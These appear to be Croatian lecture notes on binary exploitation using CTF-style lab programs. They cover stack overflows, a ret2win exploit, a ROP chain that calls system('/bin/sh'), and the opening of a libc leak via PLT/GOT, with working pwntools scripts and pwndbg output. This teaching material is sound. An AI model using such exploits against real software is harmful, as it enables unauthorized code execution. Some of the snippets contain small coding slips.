Link na zadatke
Binary Exploitation
- Korupcija memorije
- moguće u jezicima koji imaju direktan pristup memoriji
Mali detour u x86 assembly
Dva bitna registra rbp i rsp
CALL
Pri pozivanju na vrh stoga se stavlja return adresa
rsp se pomakne za jedan i base pointer rbp se stavlja na tu adresu.
RET
0x1000 call func
0x1008 mov rdi, 5
0x2000 ; Funkcija func
...
ret ; Pogleda na stog i postavi ??
Primjer “1. no_protections_and_win”
Svi zadatci dostupni ovdje
Izvorni kod:
#include <stdio.h>
void win() {
FILE* file = fopen("flag.txt", "r");
char flag[64];
fgets(flag, 64, file);
puts(flag);
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[16];
printf("Enter your name: ");
fgets(buf, 128, stdin);
printf("Welcome %s\n", buf);
return 0;
}
pwndbg
Mozda ce bit potrebno promjeniti gdb konfiguraciju:
echo 'source /usr/share/pwndbg/gdbinit.py' >> ~/.gdbinit
Pokrenemo gdb ./vuln i upisemo start, idemo sa ni sve do poziva na fgets()
Upisujemo testni ulaz AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEE
dq 0x7fffffffdcd0 -> ispisuje memoriju na adresi
Sad kada idemo sa ni do ret instrukcije i vidimo da je na stacku u rsp
DDDDDDDD
pwndbg> dissassemble win prva linija rbp je adresa funkcije
pwndbg> break *0x0000000000401845 breakpoint na adresi
pwndbg> info proc mapispisuje mapiranja raznih alokacija za proces
Koristimo pwntools
pwntools
apt:
sudo apt-get install python-dev
pacman:
sudo pacman -S python-pwntools
#!/bin/python
from pwn import *
exe = process("./vuln")
str = exe.recv(b": ") # Uzimamo sa stdout do ": "
print(str)
exploit = "A"*24 + p64(0x0000000000401845) # p64 pretvara u little endian format
exe.sendline(exploit) # Na stdin pošaljemo exploit
# Stavi u mod gdje u terminal ispisuje sve i možemo upisivati preko tipkovnice
exe.interactive()
Moguće je koristiti funkciju iz pwn-a da dobijemo adresu za win
#!/bin/python
from pwn import *
+ elf = ELF("./vuln")
exe = process("./vuln")
str = exe.recv(b": ") # Uzimamo sa stdout do ": "
print(str)
- exploit = "A"*24 + p64(0x0000000000401845) # p64 pretvara u little endian format
+ exploit = "A"*24 + p64(elf.sym["win"]) # Zatražimo adresu od win
exe.sendLine(exploit) # Na stdin pošaljemo exploit
# Stavi u mod gdje u terminal ispisuje sve i možemo upisivati preko tipkovnice
exe.interactive()
Return oriented programing
Koristimo kod koji se već nalazi u našem file-u da programiramo naš program. Takvi programi su “wierd machines”.
Koristimo gadgete i povezujemo u chainove.
- Gadget je set instrukcija koje završavaju instrukcijom
ret
Prvi argument je u rdi
; Kod od main-a
0x1000: ; Return od main-a
ret
0x2FFx:
;neke nebitne instrukcije
0x3000: ; Mjesto gdje se nalaze instrukcije koje nam trebaju
pop rdi
ret
0x4000: "/bin/bash" ; String
složimo stack da izgleda:
┌─────────┐
│ 0x3000 │
├─────────┤
│ 0x4000 │
├─────────┤
│ system │ pozvat će system sa argumentom "/bin/sh"
└─────────┘
Primjer “2. nx_and_no_win”
Svi zadatci dostupni ovdje
Ideja je da zamjenimo trenutni process sa bash
Izvorni kod:
#include <stdio.h>
#include <stdlib.h>
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[16];
printf("Enter your name: ");
fgets(buf, 128, stdin);
printf("Welcome %s\n", buf);
return 0;
}
Ispitujemo koje zaštite ima binary file
$ checksec --file=vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE N/A N/A 2130 Symbols N/A 0 22 vuln
Ispitujemo ako je dinamički linkana:
$ ldd vuln
not a dynamic executable
Pretražuje naš binary za niz instrukcije “pop rdi; ret;”
ropper -f vuln --search "pop rdi; ret;"
Exploit:
#!/bin/python
from pwn import *
import sys
context.binary = elf = ELF("./vuln")
rop = ROP(elf)
io = process("./vuln")
if len(sys.argv) == 2:
if sys.argv[1] == "debug":
context.terminal = ["tmux", "splitw", "-h"]
gdb_commands = """
break *0x0000000000401868
"""
gdb.attach(io, gdb_commands)
print(io.recvuntil(b"Enter your name: "))
# *************** EXPLOIT START *************** #
payload = b""
padding = b"A" * 24
rop_chain = b""
# Tražimo adresu stringa programa koji želimo pokrenut u našem binaryu
bin_sh = p64(next(elf.search(b"/bin/sh\x00")))
# Tražimu adresu funkcije system koje mijenja trenutni process za onaj u argumentu
system = p64(elf.sym['system'])
# Traži adresu u programu u kojem se izvršava pop rdi pa ret
pop_rdi = p64(rop.find_gadget(["pop rdi", "ret"])[0])
align_gadget = p64(rop.find_gadget(["ret"])[0])
rop_chain += align_gadget + pop_rdi + bin_sh + system
payload += padding + rop_chain
# *************** EXPLOIT END ***************** #
io.sendline(payload)
io.interactive()
pwndbg> x/s [adressa] ispisuje adresu kao string
Dinamičke datoteke
Ne znamo gdje je što, ne radi ista metoda jer libc koristi ASLR. ASLR -> ista funkcija će svaki put biti na drugoj adresi zbog sigurnosti
Ideja: leek adrese iz libc-a
Tablice PLT i GOT
- Postoje tablice za dynamic ili lazy loading
PLT:
┌────────────────┐
│ puts: 0x3000 │
├────────────────┤
│ printf: 0x4000 │ pozvat će system sa argumentom "/bin/sh"
└────────────────┘
GOT -> global offset table
- Poznati su nam samo offseti funkcija koje su dotad poznate
pokušavamo pozvat puts(got[‘puts’]) jer će ispisati adresu puts-a
Kada znamo adresu putsa, znamo sve adrese u libc-u
Primjer “3. dynamic_binary_with_aslr”
Svi zadatci dostupni ovdje
Izvorni kod isti kao i u primjeru 2, samo je sada linkano dinamički,
$ ldd vuln
linux-vdso.so.1 (0x00007da051201000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007da050fda000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007da051203000)
gdb ./vuln
pwndbg> start
pwndbg> disas main
Dump of assembler code for function main:
...
0x000000000040118f <+48>: call 0x401030 <puts@plt>
...
pwndbg> plt
Section .plt 0x401020-0x401070:
0x401030: puts@plt
0x401040: printf@plt
0x401050: fgets@plt
0x401060: setvbuf@plt
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /tmp/binary/3. dynamic_binary_with_aslr/vuln:
GOT protection: Partial RELRO | Found 4 GOT entries passing the filter
[0x404000] puts@GLIBC_2.2.5 -> 0x401036 (puts@plt+6) ◂— push 0 /* 'h' */
[0x404008] printf@GLIBC_2.2.5 -> 0x401046 (printf@plt+6) ◂— push 1
[0x404010] fgets@GLIBC_2.2.5 -> 0x401056 (fgets@plt+6) ◂— push 2
[0x404018] setvbuf@GLIBC_2.2.5 -> 0x401066 (setvbuf@plt+6) ◂— push 3
Nakon što odemo na instrukciju nakon prvog poziva na puts u gotu se sada
nalazi prava adresa
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /tmp/binary/3. dynamic_binary_with_aslr/vuln:
GOT protection: Partial RELRO | Found 4 GOT entries passing the filter
+ [0x404000] puts@GLIBC_2.2.5 -> 0x7ffff7e1eda0 (puts) ◂— endbr64
[0x404008] printf@GLIBC_2.2.5 -> 0x401046 (printf@plt+6) ◂— push 1
[0x404010] fgets@GLIBC_2.2.5 -> 0x401056 (fgets@plt+6) ◂— push 2
[0x404018] setvbuf@GLIBC_2.2.5 -> 0x7ffff7e1f640 (setvbuf) ◂— endbr64